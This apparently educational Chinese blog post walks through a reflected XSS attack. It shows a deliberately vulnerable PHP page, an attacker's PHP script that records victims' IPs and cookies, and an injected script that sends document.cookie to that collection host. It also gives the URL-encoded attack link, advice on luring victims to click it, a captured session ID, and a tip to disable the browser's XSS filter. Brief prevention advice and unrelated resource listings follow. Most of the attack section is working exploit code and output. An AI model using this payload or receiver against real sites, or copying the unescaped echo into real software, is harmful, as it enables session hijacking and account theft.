`
zengshaotao
  • 浏览: 792441 次
  • 性别: Icon_minigender_1
  • 来自: 上海
社区版块
存档分类
最新评论

XSS跨站脚本攻击过程最简单演示

 
阅读更多

大多数人对于XSS的原理有一个基本认识,这里不再重复,只给出一个能够演示其原理的完整样例。

1 角色分配

  • 有XXS漏洞的网站,IP地址172.16.35.135,PHP为开发语言
  • 受害访问者,IP地址172.16.35.220,浏览器为IE11
  • 黑客的数据接收网站,IP地址172.16.2.192,PHP为开发语言

2 源码实例

2.1 漏洞网站

存在漏洞的URL为:http://172.16.35.135/xss_demo.php

[php] view plain copy
 
  1. <?php  
  2. session_start();  
  3. ?>  
  4. <!doctype html>  
  5. <html>  
  6.     <head>  
  7.         <title>XSS demo</title>  
  8.     </head>  
  9.     <body>  
  10.     <form>  
  11.     <input style="width:300px;" type="text" name="address1" value="<?php echo $_GET["address1"]; ?>" />  
  12.             <input type="submit" value="Submit" />  
  13.         </form>  
  14.     </body>  
  15. </html>  


该网页把用户通过GET发送过来的表单数据,未经处理直接写入返回的html流,这就是XSS漏洞所在。

2.2 黑客接收网站

接收网站的URL为http://172.16.2.192/xss_hacker.php

[php] view plain copy
 
  1. <?php  
  2. $victim = 'XXS得到的 cookie:'$_SERVER['REMOTE_ADDR']. ':' .$_GET['cookie'];  
  3. file_put_contents('xss_victim.txt'$victim);  


把受害用户的IP地址和访问漏洞网站时使用的cookie,一起写入xss_victim.txt文件保存备用。

2.3 用户正常访问

用户使用IE11访问网站。现在网站一般都采用session+cookie来保存用户登录信息,网站通过验证cookie来确实是否是合法已登录用户,所以cookie是用户的敏感数据.

3 攻击过程

3.1 黑客准备攻击字符串,构造攻击URL

黑客可以通过各种扫描工具或者人工输入来找到有XSS漏洞的网站URL,然后精心构造攻击字符串。对于本例来说构造出来的字符串为:

[html] view plain copy
 
  1. "/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script><!--  

只要把这个字符串作为漏洞网站文本编辑框的表单值输入提交,就会造成攻击。手工输入这个字符串,并提交,浏览器地址栏自动生成攻击URL。如下图:

此时,用户访问漏洞网站的html代码,被修改成了:

[html] view plain copy
 
  1. <!doctype html>  
  2. <html>  
  3.     <head>  
  4.         <title>XSS demo</title>  
  5.     </head>  
  6.     <body>  
  7.     <form>  
  8.     <input style="width:500px;" type="text" name="address1" value=""/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script><!--" />  
  9.             <input type="submit" value="Submit" />  
  10.         </form>  
  11.     </body>  
  12. </html>  


明显看出,这个html回去执行一个脚本,这个脚本功能是把用户的cookie发送到黑客的接收网站。

最终生成的攻击URL为:

[html] view plain copy
 
  1. http://172.16.35.135/xss_demo.php?address1=%22%2F%3E+%3Cscript%3Ewindow.open%28%22http%3A%2F%2F172.16.2.192%2Fxss_hacker.php%3Fcookie%3D%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E%3C%21--  

接下来要做的就是,寻找受害人,诱惑其点击上述URL。

3.2 用户上当误点击攻击URL

黑客可以采取各种手段,包括发Email,在各种论坛网站发布此攻击URL,如做成如下诱人连接。

屌丝们最喜欢美女了,在好奇心的驱动下,点击了这个美女图片。而点击的后果正是访问前面的攻击URL。

3.3 用户敏感数据被发送到黑客接收网站

受害用户访问攻击URL后,其敏感数据自动发送到黑客的接收网站。接收网站把这些敏感信息保存到文件中,当然现实的情况一定是存入数据库中了。

xss_victim.txt中现在保存了受害者的敏感数据。

[html] view plain copy
 
  1. XXS得到的 cookie:172.16.35.220:PHPSESSID=4duu55hgci1leee4os6101cl30  

注意,默认IE11开启了XSS筛选器,此时IE会阻止上述简单攻击脚本。为模拟攻击,我们临时把XSS筛选器禁用。

3.4 黑客利用敏感数据做坏事

有了受害用户的敏感数据,就可以利用这些数据做各种坏事了,比如以受害用户身份登录漏洞网站,等等。

4 XSS的预防

XSS的预防可以从多方面着手:

(1)如前面所述,浏览器自身可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;

(2)从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段,始终把安全放在心上;

(3)对于普通网民,需要注意尽量抵挡诱惑,别去点击非知名网站的链接。

分享到:
评论

相关推荐

    web安全之XSS攻击及防御pdf

    跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种常见的Web应用程序安全漏洞,其形成原因主要是由于Web应用程序对用户输入的数据过滤不充分或者处理不当,导致恶意脚本被注入到网页中。当其他用户访问这些包含恶意...

    XSS跨域攻击讲义

    - **定义与起源**:跨站脚本(Cross-Site Scripting,简称XSS)是一种常见的Web应用程序安全漏洞,最早出现于1996年。XSS攻击利用的是网站对用户输入数据过滤不严的特点,使得攻击者能够在网站页面上注入恶意脚本...

    搜索框——不能忽视的XSS漏洞—搜索框所引起的XSS漏洞

    为了演示XSS的危害,还可以设计脚本来偷取用户cookies,实现更隐蔽的攻击。 **防范XSS漏洞的措施** 1. **数据过滤与转义**:对用户输入的数据进行严格的检查和转义,避免包含HTML标签和JavaScript代码。 2. **使用...

    simpleXSSBackdoor:只是一个非常简单的xss后门

    **XSS(跨站脚本攻击)基础知识** XSS(Cross-Site Scripting)是一种常见的网络安全漏洞,它允许攻击者在受害者的浏览器上执行恶意脚本。这些脚本可以窃取用户数据、操纵网页内容或者实施其他恶意行为。XSS攻击...

    Dwr最简单小例子

    3. **DWR的安全性**:DWR如何防止跨站脚本攻击(XSS)和跨站请求伪造(CSRF)等安全问题。 4. **动态更新**:DWR如何实现页面部分的实时更新,而不需整个页面刷新。 5. **调试技巧**:如何利用DWR的内置调试工具检查...

    C#上传图片的演示

    此外,对于Web应用,安全性是至关重要的,例如使用HTTPS、防止跨站脚本攻击(XSS)和跨站请求伪造(CSRF)等。 总结起来,C#上传图片涉及了文件操作、HTTP请求处理、服务器交互、异常处理等多个方面的知识。通过...

    基于Java的简单的注册与登录功能.zip

    最后,为了确保系统的安全性,开发者还需要关注CSRF(跨站请求伪造)和XSS(跨站脚本攻击)防护。对于CSRF,可以使用Token机制;对于XSS,可以通过对输出内容进行转义或使用Content Security Policy来防御。 总的来...

    php4.x与电子商务网站开发实战(pdg)

    此外,书籍还会涉及安全性问题,如防止SQL注入、XSS跨站脚本攻击等常见的Web安全威胁,以及如何通过PHP来实施相应的防护措施。在电子商务环境下,保护用户数据和交易安全是首要任务。 在实际开发部分,书籍会通过...

    weaponised-XSS-payloads:XSS有效载荷旨在将Alert(1)转换为P1

    武器化的XSS有效负载 XSS有效载荷旨在将alert(1)转换为P1。...使用这些有效负载的最简单方法是将它们托管在某个地方,然后将其加载到XSS有效负载的脚本标签的src属性中,如下所示: &lt;script src="http://evil.

    网页程序设计.ppt

    最后,安全是任何Web应用的重要考虑因素,涉及密码哈希、CSRF(跨站请求伪造)防护、XSS(跨站脚本攻击)预防以及HTTPS(安全套接层)的使用,以保护用户数据的安全。 总的来说,"网页程序设计.ppt"的压缩包可能...

    ajax简单入门讲解(SWF).

    9. **安全性**:使用Ajax时需注意安全问题,比如防止XSS(跨站脚本攻击)和CSRF(跨站请求伪造)。 10. **性能优化**:虽然Ajax提高了用户体验,但也可能导致过多的服务器请求,影响性能。因此,合理使用缓存、分批...

    PHP-Smarty框架入门视频

    最后,视频可能还会涉及安全方面,如如何过滤用户输入,防止XSS(跨站脚本攻击)和其他潜在的安全问题。Smarty提供了多种预定义的安全策略,可以帮助你限制模板可以访问的PHP函数和变量,以增强应用安全性。 ...

    《ajax入门经典》源代码

    11. **Ajax安全考量**:分析Ajax应用可能遇到的安全风险,如XSS(跨站脚本攻击)、CSRF(跨站请求伪造)等,并提供防护措施。 12. **综合案例**:通过一个完整的实例,将前面所有章节的知识串联起来,展现一个功能...

    笑话小程序源码加截图.7z

    9. **安全考虑**:防止XSS跨站脚本攻击和CSRF跨站请求伪造,保护用户数据的安全。 10. **更新维护**:发布后需要持续收集用户反馈,进行迭代更新,修复可能出现的问题。 通过这份"笑话小程序源码加截图.7z",...

    web-hacking-101

    接下来,教程会引导你探索常见的Web漏洞类型,如SQL注入、跨站脚本(XSS)、跨站请求伪造(CSRF)等。通过实例演示,你将学会如何识别这些漏洞,以及如何构造攻击向量。对于每种漏洞,都会讲解其产生的原因、危害...

    基于ASP的博客投稿程序(ASP投稿程序).zip

    2. **服务器脚本**:ASP脚本接收到用户提交的数据后,进行验证、处理,可能包括防止SQL注入、XSS攻击等安全措施。 3. **数据库交互**:ASP程序通过ADO(ActiveX Data Objects)连接到数据库,将用户提交的信息存储到...

    jsp简单图书管理系统

    考虑到实际应用,系统还需要考虑安全性,例如防止SQL注入和跨站脚本攻击(XSS)。同时,性能优化也很重要,比如使用缓存减少数据库访问,合理设计索引以提高查询效率。 总的来说,"jsp简单图书管理系统"是一个涵盖...

    Spring-course.rar_spring教程

    它可以保护Web应用免受常见攻击,如CSRF(跨站请求伪造)和XSS(跨站脚本)。 本教程的"Spring course.pdf"将深入浅出地讲解上述内容,包括实例演示和实践指导,帮助初学者快速上手Spring框架,为后续的Java企业级...

    jsp网上书店课程设计

    7. **安全策略**:考虑到网上交易的安全性,项目可能涉及到用户密码加密、防止SQL注入和跨站脚本攻击(XSS)等安全措施。 8. **错误处理和异常处理**:良好的程序应具备完善的错误处理机制,包括捕获和处理可能出现的...

Global site tag (gtag.js) - Google Analytics